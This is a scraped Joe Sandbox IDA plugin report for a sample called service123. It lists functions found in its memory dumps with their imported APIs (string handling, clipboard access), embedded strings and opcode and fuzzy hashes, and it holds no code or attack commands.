Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 508cdbe36d20ee51d8edd5e82954d352fc74cef1e68865dade4106b53526d536
Instruction ID: 20d92999348d094ca9c4180e1425884d54685d47821f92e472f22f577a6eca26
Opcode Fuzzy Hash: 508cdbe36d20ee51d8edd5e82954d352fc74cef1e68865dade4106b53526d536
Instruction Fuzzy Hash: 10512AB5A053168FC720DF19D28855EFBF0FF85318B54496AD858ABB11F330E859CBA2

Function 6C7BB560 Relevance: 1.3, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ec000e9fdbf03914cf9772c34b6bc1d47d03a4c4076c80f0a52b138849faa8
Instruction ID: 3c5acfbbe7f1108f69c66fdbe132e69c54cee4e1e5a2b2099d858419cb8397c6
Opcode Fuzzy Hash: 52ec000e9fdbf03914cf9772c34b6bc1d47d03a4c4076c80f0a52b138849faa8
Instruction Fuzzy Hash: 58319EB17053018FDB209F69C7C864A7BB5BF86308B984679D914ABB55F730E409CBB2

Non-executed Functions

Function 6C7ACD00 Relevance: 33.4, APIs: 22, Instructions: 445stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7ACD7D

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 66045c855d0da31032b016c8bbad95a447e6cd8abb4bb5f01b811b7487eee886
Instruction ID: 1e201aa3bc65634b65eb7f143fdf620770322e982ffbd2bd37b8325f2d616ba9
Opcode Fuzzy Hash: 66045c855d0da31032b016c8bbad95a447e6cd8abb4bb5f01b811b7487eee886
Instruction Fuzzy Hash: A50224715087519FD700CF69C144396FBE2AF86318F0D87AED8E85BB91C376A90ACB85

Function 6C7B0FC0 Relevance: 22.6, APIs: 8, Strings: 4, Instructions: 1647stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C7B0FCA
strlen.MSVCRT ref: 6C7B0FD4

Strings

, xrefs: 6C7B240F
!, xrefs: 6C7B2C08
5, xrefs: 6C7B14D2
inity, xrefs: 6C7B1E21

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: localeconvstrlen
String ID: $!$5$inity
API String ID: 186660782-1328200385
Opcode ID: 053c07496d3c9a398f26ca14e79e1ad35add1dab2786adc0f23f2371465c314b
Instruction ID: a244af01d6ec3b1965c88b5f477e2b2857e115dd8e589bfe36f32514961753a2
Opcode Fuzzy Hash: 053c07496d3c9a398f26ca14e79e1ad35add1dab2786adc0f23f2371465c314b
Instruction Fuzzy Hash: DCF24875A097818FD720CF29C68879BBBE0BF89348F11892DE9D9A7750D774E844CB42

Function 6C8284D0 Relevance: 17.7, Strings: 14, Instructions: 166COMMON

Download Yara Rule

Strings

Auth, xrefs: 6C828676
hardware, xrefs: 6C8286A0
random_device::random_device(const std::string&): unsupported token, xrefs: 6C8286D2
rand_s, xrefs: 6C8286B7
rdseed, xrefs: 6C828518
random_device::random_device(const std::string&): device not available, xrefs: 6C828598
rdrnd, xrefs: 6C828618
rdrand, xrefs: 6C8285A8
Auth, xrefs: 6C8285E7
Genu, xrefs: 6C8285DF
default, xrefs: 6C8284EF
Genu, xrefs: 6C82866E
Auth, xrefs: 6C82854F
Genu, xrefs: 6C828557

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcmpstrlen
String ID: Auth$Auth$Auth$Genu$Genu$Genu$default$hardware$rand_s$random_device::random_device(const std::string&): device not available$random_device::random_device(const std::string&): unsupported token$rdrand$rdrnd$rdseed
API String ID: 3108337309-1359127009
Opcode ID: 1659a6d786150397bc1ea8524727d2ecb147ff605d968ac818c99f7ce58e6283
Instruction ID: cacbfed103f433b91d821e902f66e5ee2c26a82d6c70f03037aeb0235636aef0
Opcode Fuzzy Hash: 1659a6d786150397bc1ea8524727d2ecb147ff605d968ac818c99f7ce58e6283
Instruction Fuzzy Hash: EC41D7F36192424BE7206B38C78A35A76A5AB4031CF604D3ED88297F51D73DD598C393

Function 6C7AEE50 Relevance: 12.5, APIs: 8, Instructions: 494COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C7AF18B
malloc.MSVCRT ref: 6C7AF1A8

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: b7715744ee2a7922d519e497e21ea9748bc2dedb45f536f3bbd2661e82aece76
Instruction ID: d6bdb3fe8e6a8d6dfd2cf82907b1a9c952a833a7f6955b4e16fed1675ed9e3fe
Opcode Fuzzy Hash: b7715744ee2a7922d519e497e21ea9748bc2dedb45f536f3bbd2661e82aece76
Instruction Fuzzy Hash: C8127E756087068FC314CF59C68065AB7E1BFC8358F558B2DE8A997B41E730ED0ACB92

Function 6C7CE6E0 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 219stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7CE70A
strlen.MSVCRT ref: 6C7CE77A

Strings

basic_string: construction from null is not valid, xrefs: 6C7CE742, 6C7CE7B2, 6C7CE822
basic_string: construction from null is not valid, xrefs: 6C7CE86F, 6C7CE8C0, 6C7CE910

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid$basic_string: construction from null is not valid
API String ID: 39653677-1250104765
Opcode ID: d7500c2516e6cd6c94cb0095c501d6d90627f0e858e4d8233082dc6d2c8066c6
Instruction ID: 2d0183d3c9e0ad4ad9cd6476692633a0b8bdf2c8e315e6f9ea5e8ccba9e494c7
Opcode Fuzzy Hash: d7500c2516e6cd6c94cb0095c501d6d90627f0e858e4d8233082dc6d2c8066c6
Instruction Fuzzy Hash: 6A61AFF1A066148FCB10AF2CD68585ABBF4BF54218F46497DE8849B710E331E899CBD2

Function 6C7B9D11 Relevance: 12.0, APIs: 8, Instructions: 46clipboardmemorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8439D0: strlen.MSVCRT ref: 6C8439DE

OpenClipboard.USER32 ref: 6C7B9D31
GlobalAlloc.KERNEL32 ref: 6C7B9D55
GlobalLock.KERNEL32 ref: 6C7B9D72
strcpy.MSVCRT ref: 6C7B9D82
GlobalUnlock.KERNEL32 ref: 6C7B9D8A
EmptyClipboard.USER32 ref: 6C7B9D93
SetClipboardData.USER32 ref: 6C7B9DA4
CloseClipboard.USER32 ref: 6C7B9DAD

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlockstrcpystrlen
String ID:
API String ID: 3344633682-0
Opcode ID: 1622449344630ec5769e1254500832160821bc2201585ee2fdbab5236fd67c19
Instruction ID: 198307c60845abbeb5a382844863cf73291777f2079d5d64ea3a3e9f5bece4f8
Opcode Fuzzy Hash: 1622449344630ec5769e1254500832160821bc2201585ee2fdbab5236fd67c19
Instruction Fuzzy Hash: 0411DDB15046058FDB10BF78D68D29EBAF0BF65309F01497CE5A693644EB34E908CB93

Function 6C7C0860 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7C0886
memcmp.MSVCRT ref: 6C7C08A9
memcmp.MSVCRT ref: 6C7C091F
memcmp.MSVCRT ref: 6C7C0991

Part of subcall function 6C86ADB0: strlen.MSVCRT ref: 6C86ADBE

memcmp.MSVCRT ref: 6C7C0A25

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C7C08D0, 6C7C0944, 6C7C09B7, 6C7C0A4C, 6C7C0A68
basic_string::compare, xrefs: 6C7C08C8, 6C7C093C, 6C7C09AF, 6C7C0A44, 6C7C0A60

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: fee9748c66d86c1ca2bdb1d3104df722f0b74b56402d7ad38df3c1174884ad6c
Instruction ID: e84303398145aa43cac4c57974d30f372a0cbab499ea55fa93ce7a702a9d4aeb
Opcode Fuzzy Hash: fee9748c66d86c1ca2bdb1d3104df722f0b74b56402d7ad38df3c1174884ad6c
Instruction Fuzzy Hash: 226137B27093119FC314AF6ACA8455EFBE5AFD8788F55892DE88887710E731D844CB93

Function 6C7B70C0 Relevance: 9.6, APIs: 6, Instructions: 649COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C7B70C7
memset.MSVCRT ref: 6C7B7217

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: localeconvmemset
String ID:
API String ID: 2367598729-0
Opcode ID: 2d0189af128b0c91ed926a27be76edce3bd5ce4b8d543a141ba12d1a8903970b
Instruction ID: 4e75de4a0ab98c69311be5e49d47111f73b22a432293f1b9062973e2e6c8874a
Opcode Fuzzy Hash: 2d0189af128b0c91ed926a27be76edce3bd5ce4b8d543a141ba12d1a8903970b
Instruction Fuzzy Hash: EB42F2716083058FD700CF29C68435ABBF2BFC5308F15896EE895ABB41D775E949CBA2

Function 6C7B5880 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 1506COMMON

Download Yara Rule

Strings

NaN, xrefs: 6C7B5B5F
Infinity, xrefs: 6C7B5BE0
, xrefs: 6C7B7074
, xrefs: 6C7B6D95

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: $ $Infinity$NaN
API String ID: 0-3274152445
Opcode ID: 208b81885a59427bc06b0e1a2f95ca1ea4829964bfe4faa16ef7bce463ed393b
Instruction ID: ce4253ad836fafcaca85df12d1ed0a7dd0b995b891a2acedb4305b5c99ec4e8f
Opcode Fuzzy Hash: 208b81885a59427bc06b0e1a2f95ca1ea4829964bfe4faa16ef7bce463ed393b
Instruction Fuzzy Hash: 6BE230B1A093418FD754CF29C28474ABBE0FF89748F14892EE998A7750E775E944CF82

Function 6C7B9E27 Relevance: 6.0, APIs: 4, Instructions: 38clipboardCOMMON

Download Yara Rule

APIs

GetClipboardData.USER32 ref: 6C7B9E37
GlobalLock.KERNEL32 ref: 6C7B9E49
GlobalUnlock.KERNEL32 ref: 6C7B9E6A
CloseClipboard.USER32 ref: 6C7B9E73
CloseClipboard.USER32 ref: 6C7B9E98

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Clipboard$CloseGlobal$DataLockUnlock
String ID:
API String ID: 3186146249-0
Opcode ID: 77c07affc17c0d30b66145c1f688574503722583813238cbdc80771123ecaf91
Instruction ID: d8fcae05df3aa17664105827521be87e3ee16957f61d87c0c4877af16364720e
Opcode Fuzzy Hash: 77c07affc17c0d30b66145c1f688574503722583813238cbdc80771123ecaf91
Instruction Fuzzy Hash: 65F086B36045018FEB107F7C964815EBBF0AB55318F00093CE896A3640DB34D509C7D3

Function 004851B0 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 1506COMMON

Download Yara Rule

Strings

, xrefs: 004866C5
, xrefs: 004869A4

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 45c9b942c558c57d4965a6cfd820aacaea3aaaa745b0c170a6137ece1e89a06d
Instruction ID: cad68ffa2879b95dbd3e4fb297718bd1f78ee6517de7d5f7f9df1d9602c338ef
Opcode Fuzzy Hash: 45c9b942c558c57d4965a6cfd820aacaea3aaaa745b0c170a6137ece1e89a06d
Instruction Fuzzy Hash: D3E232B1A083418FD750EF29C08471FBBE0BB88748F158D1EE89997351E779E8458F8A

Function 00483E20 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

gfff, xrefs: 00483F2C
@, xrefs: 00483FD9
., xrefs: 00484114
gfff, xrefs: 00483F43

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
Instruction ID: 981a69339bfe847087d3a663f0774e8c593da49671b42fed8101a5869b521802
Opcode Fuzzy Hash: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
Instruction Fuzzy Hash: 7DD1C471A083068BC714EE29C48432FBBE2AFD4744F19CD2EE9948B345E778DD458B96

Function 6C7B44F0 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

gfff, xrefs: 6C7B45FC
@, xrefs: 6C7B46A9
gfff, xrefs: 6C7B4613
., xrefs: 6C7B47E4

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: 8626a3e6e77548aa8c80ec26b31963b047f7067a9e1e968e0f87eb2c543a7be7
Instruction ID: 98148abf7ec6789e877392f0e17476e5e18b0181e69a2b392658ae0eb67c8384
Opcode Fuzzy Hash: 8626a3e6e77548aa8c80ec26b31963b047f7067a9e1e968e0f87eb2c543a7be7
Instruction Fuzzy Hash: 55D1D671A097468BD700CE29CA8434BBBE2EFC5348F18C53DE894ABB45D770D949DB82

Function 6C843140 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

basic_string: construction from null is not valid, xrefs: 6C843250

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: basic_string: construction from null is not valid
API String ID: 0-2991274800
Opcode ID: b792130efb4ce53ba088c6dd42c44ffa83580d3aced723a80916aebf0a188ea2
Instruction ID: 0c365bad9401ebf6c93e6a2174cb48a8f8ebe1ea7d8bfc29ba9c43db6c319e26
Opcode Fuzzy Hash: b792130efb4ce53ba088c6dd42c44ffa83580d3aced723a80916aebf0a188ea2
Instruction Fuzzy Hash: 4F414BB29093208FD724DF6DD58064AFBE0AF99314F15C96EE8989B315E330D845CBE2

Function 6C840730 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C8407A0
memset.MSVCRT ref: 6C8407C4

Strings

basic_string::_M_replace_aux, xrefs: 6C840840

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memmovememset
String ID: basic_string::_M_replace_aux
API String ID: 1288253900-2536181960
Opcode ID: b2c249d4f5ec2977512c227d8eca790d9f5eae21a087d32a9b2496c07e26308f
Instruction ID: f36b9e64025bdad66ae7cce83442d072a8230ea15710a1434ecf7c5b715e4265
Opcode Fuzzy Hash: b2c249d4f5ec2977512c227d8eca790d9f5eae21a087d32a9b2496c07e26308f
Instruction Fuzzy Hash: AF315D7560D7988FC7109F28CA8061BBBF1AF96604F14C96DE8948B745D732C844CF93

Function 6C813840 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C813898
memcpy.MSVCRT ref: 6C813911

Part of subcall function 6C815590: memcpy.MSVCRT ref: 6C815620

Strings

basic_string::_M_replace_aux, xrefs: 6C8138C0

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy$memset
String ID: basic_string::_M_replace_aux
API String ID: 438689982-2536181960
Opcode ID: 2fdc5df894b3f1dc6e234389ff6a466e9dead4d81cc7f3aaa38f24e5ef2a7542
Instruction ID: 7b66005d2f917a120ddef58d98b44a2b79303babd9517dc541f0f6fd3020bfff
Opcode Fuzzy Hash: 2fdc5df894b3f1dc6e234389ff6a466e9dead4d81cc7f3aaa38f24e5ef2a7542
Instruction Fuzzy Hash: 3F218E72A0A3219FC310AF1D998046EFBE4EBD5628F944D6EF89897711D331D814CB92

Function 6C7CA9E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C7CA9FD
wcslen.MSVCRT ref: 6C7CAA4D

Strings

basic_string: construction from null is not valid, xrefs: 6C7CAA20, 6C7CAA70

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

